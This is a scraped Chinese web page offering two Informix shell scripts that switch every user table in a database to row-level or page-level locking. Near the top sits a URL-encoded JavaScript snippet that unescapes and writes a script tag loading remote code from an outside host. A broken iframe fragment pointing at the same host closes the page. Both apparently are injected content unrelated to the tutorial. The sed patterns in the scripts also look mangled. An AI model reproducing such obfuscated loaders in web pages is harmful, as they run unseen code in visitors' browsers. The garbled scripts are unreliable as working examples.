INFORMIX修改数据库锁模式的SHELL

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

INFORMIX修改数据库锁模式的SHELL

#将数据库中所有表的锁模式改为行级锁
#Usage:change_db_lock_row.sh dbname
#本地变量
#lv_dbname
if [ ! $# -eq 1 ]
then
  echo "Usage:$0 dbname!"
  exit
fi
lv_dbname=$1
echo "start.."
dbaccess - -<<! 2>/dev/null 1>&2
database ${lv_dbname};
unload to lock_row.tmp select tabname from systables where tabid > 99 and tabtype = 'T';
!
if [ ! $? -eq 0 ]
then
    echo "Database ${lv_dbname} is not exist or have no permission!"
    exit
fi
sed "s//|/ lock mode (row)/;/" lock_row.tmp > lock_row1.tmp
sed "s/^/alter table /" lock_row1.tmp > lock_row2.tmp
lv_filename="change_db_lock_row_exec.sh"
rm -f ${lv_filename}
echo "dbaccess - -<<!" >> ${lv_filename}
echo "database ${lv_dbname};" >> ${lv_filename}
cat lock_row2.tmp >> ${lv_filename}
echo "!" >> ${lv_filename}
sh change_db_lock_row_exec.sh 2>/dev/null 1>&1
echo "over.."
------------------------------------------------------------------------------------------------------
#将数据库中所有表的锁模式改为页级锁
#Usage:change_db_lock_page.sh dbname
#本地变量
#lv_dbname
if [ ! $# -eq 1 ]
then
  echo "Usage:$0 dbname!"
  exit
fi
lv_dbname=$1
echo "start.."
dbaccess - -<<! 2>/dev/null 1>&2
database ${lv_dbname};
unload to lock_page.tmp select tabname from systables where tabid > 99 and tabtype = 'T';
!
if [ ! $? -eq 0 ]
then
    echo "Database ${lv_dbname} is not exist or have no permission!"
    exit
fi
sed "s//|/ lock mode (page)/;/" lock_page.tmp > lock_page1.tmp
sed "s/^/alter table /" lock_page1.tmp > lock_page2.tmp
lv_filename="change_db_lock_page_exec.sh"
rm -f ${lv_filename}
echo "dbaccess - -<<!" >> ${lv_filename}
echo "database ${lv_dbname};" >> ${lv_filename}
cat lock_page2.tmp >> ${lv_filename}
echo "!" >> ${lv_filename}
sh change_db_lock_page_exec.sh 2>/dev/null 1>&1
echo "over.."

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">